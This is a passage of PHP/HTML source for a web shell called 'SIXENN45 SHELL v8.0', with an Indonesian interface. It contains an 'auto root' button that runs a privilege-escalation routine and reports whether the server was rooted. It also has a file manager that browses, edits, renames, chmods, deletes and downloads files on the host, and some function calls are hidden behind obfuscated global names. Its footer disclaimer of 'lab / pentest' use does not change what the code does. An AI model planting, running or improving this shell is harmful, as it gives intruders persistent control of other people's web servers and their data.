otomatis mencoba naik ke <strong>root</strong>. Berhasil = <span style="color:#0f0">ROOTED</span>, gagal = <span style="color:#f00">tidak bisa di-root</span>.</p> <form method="post" style="margin:10px 0;"> <button type="submit" name="autoroot_run" value="1" style="background:#6a0dad;color:#fff;border:none;padding:10px 20px;border-radius:4px;cursor:pointer;font-weight:bold;"> ▶ MULAI AUTO ROOT </button> </form> <?php if (isset($_POST['autoroot_run'])) { $lines = ar_autoroot(); echo '<pre style="background:#0b0b0b;border:1px solid #2a2a2a;padding:14px;border-radius:4px;color:#0f0;font-size:12px;overflow:auto;max-height:480px;">'; foreach ($lines as $l) echo htmlspecialchars($l)."\n"; $rooted = false; foreach ($lines as $l) if (stripos($l,'ROOTED')!==false) { $rooted = true; break; } if ($rooted) { echo "\n\n============================\n"; echo " [?] Hasil: <span style=\"color:#0f0;font-weight:bold\">BISA DI-ROOT</span>\n"; echo "============================\n"; } else { echo "\n\n============================\n"; echo " [X] Hasil: <span style=\"color:#f00;font-weight:bold\">TIDAK BISA DI-ROOT</span>\n"; echo "============================\n"; } echo '</pre>'; } ?> </div> <?php break; endswitch; ?> </div> <?php endif; ?> <h3>Directory Contents</h3> <table> <tr><th>Name</th><th>Size</th><th>Perm</th><th>Modified</th><th>Action</th></tr> <?php $files = @$GLOBALS['__f14']($current_dir); if($files) { foreach($files as $file) { if($file == '.') continue; $path = $current_dir . '/' . $file; $is_dir = @is_dir($path); if($file == '..') { echo '<tr><td colspan="5"><a href="?dir=' . urlencode(dirname($current_dir)) . '">[^] [UP]</a></td></tr>'; continue; } $size = $is_dir ? 'DIR' : (@filesize($path) ?: '0') . ' bytes'; $perms = @fileperms($path) ? substr(sprintf('%o', @fileperms($path)), -4) : '????'; $modified = @filemtime($path) ? date('Y-m-d H:i', @filemtime($path)) : 'Unknown'; echo '<tr>'; echo '<td>' . ($is_dir ? '[FOLDER] ' : '[FILE] ') . '<a href="' . ($is_dir ? '?dir=' . urlencode($path) : '?view=' . urlencode($path) . '&dir=' . urlencode($current_dir)) . '">' . htmlspecialchars($file) . '</a></td>'; echo '<td>' . $size . '</td>'; echo '<td>' . $perms . '</td>'; echo '<td>' . $modified . '</td>'; echo '<td>'; if(!$is_dir) { echo '<a href="?edit=' . urlencode($file) . '&dir=' . urlencode($current_dir) . '">[EDIT]</a> '; echo '<a href="?rename=' . urlencode($file) . '&dir=' . urlencode($current_dir) . '">[RENAME]</a> '; echo '<a href="?chmod=' . urlencode($file) . '&dir=' . urlencode($current_dir) . '">[CHMOD]</a> '; echo '<a href="?delete=' . urlencode($path) . '&dir=' . urlencode($current_dir) . '">[DEL]</a> '; echo '<a href="?download=' . urlencode($path) . '">[DL]</a>'; } else { echo '<a href="?rename=' . urlencode($file) . '&dir=' . urlencode($current_dir) . '">[RENAME]</a> '; echo '<a href="?chmod=' . urlencode($file) . '&dir=' . urlencode($current_dir) . '">[CHMOD]</a> '; echo '<a href="?delete=' . urlencode($path) . '&dir=' . urlencode($current_dir) . '">[DEL]</a>'; } echo '</td></tr>'; } } else { echo '<tr><td colspan="5">Cannot read directory</td></tr>'; } ?> </table> <div class="footer"> [ SIXENN45 SHELL v8.0 ] // AUTHORIZED USE ONLY // LAB / PENTEST </div> <script> // ===== TYPING EFFECT HEADER ===== (function(){ var el=document.getElementById('brandtext'); if(!el) return; var text='SIXENN45 SHELL'; var i=0, deleting=false, delay=70, pause=1800; function tick(){ if(!deleting){ i++; el.textContent=text.substring(0,i); if(i===text.length){deleting=true;setTimeout(tick,pause);return;} setTimeout(tick,delay); }else{ i--; el.textContent=text.substring(0,i); if(i===0){deleting=false;setTimeout(tick,delay);return;} setTimeout(tick,delay/2); } } setTimeout(tick,delay); })(); </script> </body> </html>
Save File
Cancel